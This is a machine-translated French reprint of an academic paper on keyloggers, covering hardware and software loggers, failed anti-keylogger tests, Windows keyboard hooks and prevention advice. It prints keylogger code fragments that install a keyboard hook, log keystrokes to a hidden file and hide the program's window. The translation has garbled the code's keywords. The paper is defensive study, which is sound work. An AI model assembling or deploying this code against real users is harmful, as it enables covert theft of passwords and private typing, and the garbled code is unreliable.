This is a machine translation. The original page (in English) is available here.

Dernières nouvelles du monde: - Pourquoi les états-UNIS envisage de TikTok Ban Flux RSS

La maison>Articles>Les enregistreurs de frappe: Le Négligé de la Menace à la Sécurité Informatique
Haut les enregistreurs de frappe
Afficher plus...

Les enregistreurs de frappe: Le Négligé de la Menace à la Sécurité Informatique

  •  
Note des utilisateurs: 4.5 - 2 votes
Kishore Subramanyam, Charles E. Frank, Donald H. Galli
Département de Mathématiques et d'Informatique
Northern Kentucky University
Highland Heights, KENTUCKY 41099
{subramanyamk, frank, galli}@nku.edu

RÉSUMÉ

Les enregistreurs de frappe sont de matériel ou de logiciels qui enregistrent les frappes de touches. Ils représentent une grave menace pour la vie privée des utilisateurs de l'informatique. Nous avons installé et testé différents enregistreurs de frappe et examiné Enregistreur de frappe code. Nous avons également passé en revue ce qui est connu sur les enregistreurs de frappe, principalement à partir de sources Internet. Ce document fournit une analyse des mécanismes d'enregistreurs de frappe et le pourquoi de détection est difficile. Nous fournissons plusieurs recommandations sur les mesures les utilisateurs d'ordinateurs doivent prendre.

1. INTRODUCTION

Les enregistreurs de frappe enregistrer toutes les frappes de l'utilisateur d'un ordinateur fait. Ils sont commercialisés pour surveiller l'utilisation de l'ordinateur des enfants ou pour attraper un conjoint de fraude. Ils sont utilisés pour voler la carte de crédit et de banque, les numéros de compte, les noms d'utilisateur et mots de passe. Ils sont également utilisés pour surveiller les employés.

Les enregistreurs de frappe peuvent être installés par l'obtention de l'accès physique à l'ordinateur ou par des programmes téléchargés. Leur faible encombrement en termes de mémoire et l'utilisation du processeur rend pratiquement introuvable. Les enregistreurs de frappe peuvent e-mail ou ftp le fichier contenant les frappes de retour à un espionnage personne.

Les enregistreurs de frappe ne reçoivent pas la même attention que les virus et les vers. La norme de référence sur les virus, vers et Chevaux de Troie [4] consacre un paragraphe pour les enregistreurs de frappe. Entre la sécurité informatique des livres, [2] mentionne à peine les enregistreurs de frappe et de [1] et [9] ne pas mentionner du tout.

Deux cas récents soulignent le risque posé par les enregistreurs de frappe. En février 2003, David Boudreau, Boston College étudiant, a été chargé de l'installation d'enregistreurs de frappe sur plus de 100 université des ordinateurs [10]. Il a utilisé des informations sur les professeurs, les étudiants et le personnel de voler de 2 000$. En juillet 2003, Juju Jiang a plaidé coupable à l'installation d'enregistreurs de frappe de vingt Kinko dans les magasins de New York [7]. Il à distance capturé les frappes et avait été voler les noms d'utilisateur et mots de passe pour les deux ans avant qu'il a été capturé.

2. LES ENREGISTREURS DE FRAPPE MATÉRIELS

Matériel Enregistreurs de frappes viennent en plusieurs formes et de formes. Ils peuvent être d'une fixation externe entre le clavier et le port. Ces sont un morceau de câble avec un petit cylindre en couleurs pour correspondre le câble du clavier. Ils prennent moins d'une minute à installer. Depuis qu'ils sont placés à l'arrière de l'ordinateur, ils sont difficiles à repérer. Aussi, le matériel enregistreurs de frappe peuvent être un dispositif placé à l'intérieur de l'appareil, à côté du port de clavier ou à l'intérieur du clavier lui-même. Ces appareils sont physiquement invisible à l'ordinateur de l'utilisateur.

Beaucoup de vendeurs de vendre le matériel enregistreurs de frappe. Nous avons testé l' $99 KeyGhost Std avec 512K de mémoire flash [5]. Contrairement à nos attentes, Windows ne détecte pas le KeyGhost joint entre le clavier et le port d'e/S comme un nouveau périphérique, ni fait apparaître dans la liste des périphériques.

3. LOGICIEL ENREGISTREURS DE FRAPPE

Une variété d'enregistreurs de frappe peuvent être trouvés par la recherche pour "keylogger" à l'aide d'un moteur de recherche. Logiciel enregistreurs de frappe peuvent également être téléchargé gratuitement à partir de n'importe quel Enregistreur de frappe forum [3]. Pour ce projet, nous avons essayé les deux, commercial, ainsi que les logiciels libres les enregistreurs de frappe.

Un logiciel de Enregistreur de frappe peut être installé sur une machine avec des privilèges d'Administrateur. Ils viennent dans différentes formes. Un Enregistreur de frappe peut être un exécutable écrit en Visual Basic. Il peut être un pilote de périphérique qui remplace le pilote e/S intégrés clé de la fonctionnalité de journalisation. Le plus souvent, les enregistreurs de frappe sont écrits en C/C++ à l'aide de Windows crochets.

Nous avons testé Raytown, Ghost, Amecisco, KmInt21 logiciel enregistreurs de frappe. Chacun d'entre eux a travaillé de manière différente, mais le résultat final est le même. Ils ont enregistré les frappes de touches et de clics de souris et les écrit dans un fichier. Ils ont eu la possibilité de crypter et décrypter les fichiers journaux et la possibilité d'envoyer le fichier vers une destination à travers l'Internet.

Aucun d'eux n'a montré dans le Gestionnaire des Tâches ou dans la liste des processus. Les enregistreurs de frappe " fichiers journaux ont été cachés. Ces fichiers journaux ont été difficiles à distinguer à partir de fichiers du système d'exploitation, même lorsque
faire une liste de répertoires de fichiers cachés.

4. ANTI-KEYLOGGERS

Anti-keyloggers sont des logiciels qui vise à détecter les enregistreurs de frappe. Nous avons installé et testé Raytown et Spydex anti-keyloggers. L'anti-keyloggers ne détecte pas l'un des logiciels les enregistreurs de frappe ou la KeyGhost Enregistreur de frappe matériel. La seule exception a été l'Raytown anti-keylogger détectée, son propre Raytown Enregistreur de frappe. La raison en est qu'il existe de nombreuses façons pour les enregistreurs de frappe de travailler et de se cacher.

Groupes de discussion sur Internet [3] il est à noter que l'anti-keyloggers qui permettent de détecter de nombreux Enregistreur de frappe ont un taux très élevé de faux positifs. Ces anti-keyloggers surveiller les programmes Windows en utilisant les crochets et les crochets sont légitimement utilisé par de nombreuses fonctions.

5. WINDOWS CROCHETS

Un Windows crochet [3, 8] est le cœur de nombreux enregistreurs de frappe. Un crochet est un point dans le système de gestion des messages mécanisme dans lequel une application peut installer une procédure d'intercepter le trafic de messages avant d'atteindre une cible à la procédure de Fenêtre. Une procédure de hook a le prototype suivant.

LRESULT CALLBACK HookProc( 
int nCode, // spécifie l'action à effectuer
WPARAM wParam, // paramètre selon nCode
LPARAM lParam // paramètre selon nCode
);


Un crochet de la chaîne est une liste de pointeurs de procédures hook. Lorsqu'un message est associé à un type particulier de crochet, le système transmet le message à chaque crochet procédure référencée dans le crochet de la chaîne, l'un après l'autre.

Une procédure de hook peut contrôler ou modifier un message en passant par une chaîne de crochet. Il peut également empêcher le message d'arriver à la prochaine procédure de hook ou la procédure de fenêtre cible.

Le SetWindowsHookEx fonction installe une application définie procédure de hook au début de la chaîne de crochet. Il est le prototype de fonction suivant:

HHOOK SetWindowsHookEx(
int idHook, // spécifie le type de crochet
HOOKPROC lpfn, // pointeur de procédure de hook
HINSTANCE hMod, // pointeur vers le fichier dll contenant la procédure de hook
DWORD dwThreadId // l'identifiant de thread associé
);


Nous avons examiné le code source de plusieurs enregistreurs de frappe sur [6]. Si l'on apprend comment utiliser Windows crochets, les enregistreurs de frappe ne sont pas difficiles à écrire. Ils ne nécessitent pas beaucoup de code.

Voici la InstallHook fonction de l'un des enregistreurs de frappe. Il associe le fichier journal et installe le clavier de journalisation procédure KeyboardProc dans le crochet de la chaîne en appelant SetWindowsHookEx.

BOOL WINAPI InstallHook(BOOL écraser)
{
si(écraser) // remplace le fichier log?
{
SetFileAttributes((LPCTSTR)de nom de fichier,
FILE_ATTRIBUTE_ARCHIVE);
f1 = fopen(filename, "w");
fclose(f1);
}
// définir la propriété masquée pour le fichier journal
SetFileAttributes((LPCTSTR)de nom de fichier,
FILE_ATTRIBUTE_HIDDEN|
FILE_ATTRIBUTE_SYSTEM);
// appel de gagner de l'API pour installer le crochet
hkb = SetWindowsHookEx(WH_KEYBOARD,
(HOOKPROC)KeyboardProc,hInstance,0);
return TRUE;
}


6. LE WH_KEYBOARD CROCHET

De la quinzaine de crochet de différentes types, WH_KEYBOARD et WH_MOUSE sont importants pour la rédaction d'un Enregistreur de frappe. Nous décrivons la WH_KEYBOARD de type crochet. Le WH_KEYBOARD crochet permet à une application pour surveiller le trafic de messages pour le WM_KEYDOWN et WM_KEYUP les messages qui sont sur le point d'être renvoyé par la GetMessage ou PeekMessage fonctions. Ce crochet peut être utilisé pour surveiller l'entrée de clavier affiché à un message de la file d'attente via le KeyboardProc procédure de hook. Le système d'exploitation appelle cette procédure lorsqu'une application appelle la GetMessage ou PeekMessage fonction et il y a un message de clavier (WM_KEYUP ou WM_KEYDOWN) pour être traitées. Il est le prototype de fonction suivant:

LRESULT CALLBACK KeyboardProc(
int code, // spécifie la façon de traiter un message
WPARAM wParam, // code de touche virtuelle de génération de clé de message
LPARAM lParam // nombre de répétitions, de scan de code, extended-indicateur de clé,
// contexte de code, clé précédente-drapeau de l'etat
// et la transition de l'état du pavillon
);


Voici le code de KeyboardProc de l'un des enregistreurs de frappe. Il ouvre le fichier journal et écrit le personnage. Lorsque nécessaire, il appelle la ToAscii fonction de traduire les spécifiée code de touche virtuelle et l'état du clavier, à la correspondante de caractères ou des caractères.

LRESULT WINAPI RAPPEL KeyboardProc(
int nCode, WPARAM wParam,
LPARAM lParam)
{
char ch;
char locname[80];
strcpy(locname,filename);
si (((DWORD)lParam & 0x40000000
&&(HC_ACTION==nCode))
{
si((wParam==VK_SPACE)||
(wParam==VK_RETURN)||
(wParam>=0x2f ) &&
(wParam<=0x100))
{
f1=fopen(locname,"a+");
si (wParam==VK_RETURN)
{
ch='\n';
// copie de caractère dans le fichier de log
fwrite(&ch,1,1,f1);
}
d'autre
{
// tableau reçoit le statut des données pour chaque touche virtuelle
OCTET ks[256];
GetKeyboardState(ks);
MOT w;
UINT d'analyse;
scan=0;
ToAscii(wParam,de numérisation,
ks&w,0);
ch =char(w);
// copie de caractère dans le fichier de log
fwrite(&ch,1,1,f1);
}
fclose(f1);
}
}
LRESULT RetVal = CallNextHookEx(
hkb, nCode, wParam, lParam );
return RetVal;
}


Lorsqu'un événement se produit qui est contrôlé par un type particulier de crochet, le système d'exploitation appelle la procédure au début de la chaîne de crochet. Chaque procédure de raccordement de la chaîne décide de transmettre l'événement à la procédure suivante. Une procédure de hook passe d'un événement à la procédure suivante par l'appel de la CallNextHookEx fonction.

7. CACHER LE Enregistreur de frappe

Il existe de nombreuses façons de cacher l'exécution d'un Enregistreur de frappe dans le gestionnaire des tâches ou la liste de processeurs. Voici un moyen de le cacher par l'ouverture d'une fenêtre masquée sur le démarrage et réglage des paramètres requis.

WNDCLASSEX wincl;
wincl.hInstance = hInstance;
wincl.lpszClassName = nom;
wincl.lpfnWndProc = WndProc;
// Faire toutes les propriétés de la fenêtre de zéro.
// Cela va rendre la fenêtre invisible.
wincl.style = 0;
wincl.cbSize = sizeof(WNDCLASSEX);
wincl.hIcon = NULL;
wincl.hIconSm = NULL;
wincl.hCursor = NULL;
wincl.lpszMenuName = NULL;
wincl.cbClsExtra = 0;
wincl.cbWndExtra = 0;
wincl.hbrBackground = 0;
wincl.lpszMenuName = NULL;
if(!RegisterClassEx(&wincl)) return 0;
// Définir tous les paramètres d'affichage
/ / e.g hauteur et largeur) de zéro.
// Cela va le rendre invisible à partir de la barre des tâches
hwnd = CreateWindowEx(0,(LPCTSTR)nom,"",
0,0,0,0,0,HWND_DESKTOP,NULL,
hInstance,NULL);
ShowWindow(hwnd,SW_HIDE);


8. LES MESURES DE PRÉVENTION

Nous avons constaté que les enregistreurs de frappe sont pratiquement impossible de suivre, une fois installé. Cependant, il existe plusieurs mesures préventives qui peuvent être prises.
1. La plupart des utilisateurs de Windows ont des privilèges restreints, en leur faisant partie du groupe d'Utilisateurs.
2. L'Administrateur du groupe doit avoir très peu d'entités, et ils devraient avoir une forte stratégie de mot de passe.
3. Personne ne devrait jamais se connecter à Internet ou même le réseau interne tout en étant connecté à l'ordinateur en tant qu'administrateur. Ce réseau donne des oreilles indiscrètes de la carte blanche l'accès à la machine et la possibilité d'installer à distance des logiciels.
4. Le clavier de l'ordinateur port doivent être inspectés afin de voir si un Enregistreur de frappe matériel est attaché.

9. CONCLUSION

Les enregistreurs de frappe sont simples à écrire et simple à installer. Ils sont facilement acquis par la navigation sur Internet [3, 6] ou peut être acheté à un prix modeste. Anti-keyloggers sont inefficaces. Le meilleur qui peut être fait pour prévenir la clé d'enregistrement est d'adopter de bonnes pratiques de sécurité et d'effectuer des contrôles physiques pour le matériel enregistreurs de frappe.

10. RÉFÉRENCES

[1] Cole, Eric, Les Pirates Méfiez-Vous, New Riders Publishing, 2002.

[2] Garfinkel, S., Spafford, G., et Schwartz, A., Pratiques Unix et Internet Security, O'Reilly & Associates, 3e édition, 2003.

[3] Google groupes, http://www.google.com/groups

[4] Grimes, Roger A., Malveillant Code Mobile, O'Reilly & Associates, 2001, (p. 190).

[5] Keyghost, http://www.keyghost.com

[6] Enregistreur de frappe code source, http://www.planetsourcecode.com

[7] "Kinko les logiciels espions cas met en évidence le risque de terminaux Internet",
http://www.siliconvalley.com/mld/siliconvalley/news/6359407.htm

[8] Microsoft developer network http://msdn.Microsoft.com

[9] Pfleeger, C. et Pfleeger, S., Sécurité en Informatique, 3e édition, Prentice Hall, 2003.

[10] "Étudiant accusé après le collège, les ordinateurs piratés", http://www.xatrix.org/article2641.html
Date de publication:
Lire l'article complet
La maison>Articles>Les enregistreurs de frappe: Le Négligé de la Menace à la Sécurité Informatique
IMPORTANT! L'installation de l'ordinateur à des outils de surveillance sur les ordinateurs que vous ne possédez pas ou n'avez pas la permission de suivre peuvent violer locales, de l'état ou la loi fédérale.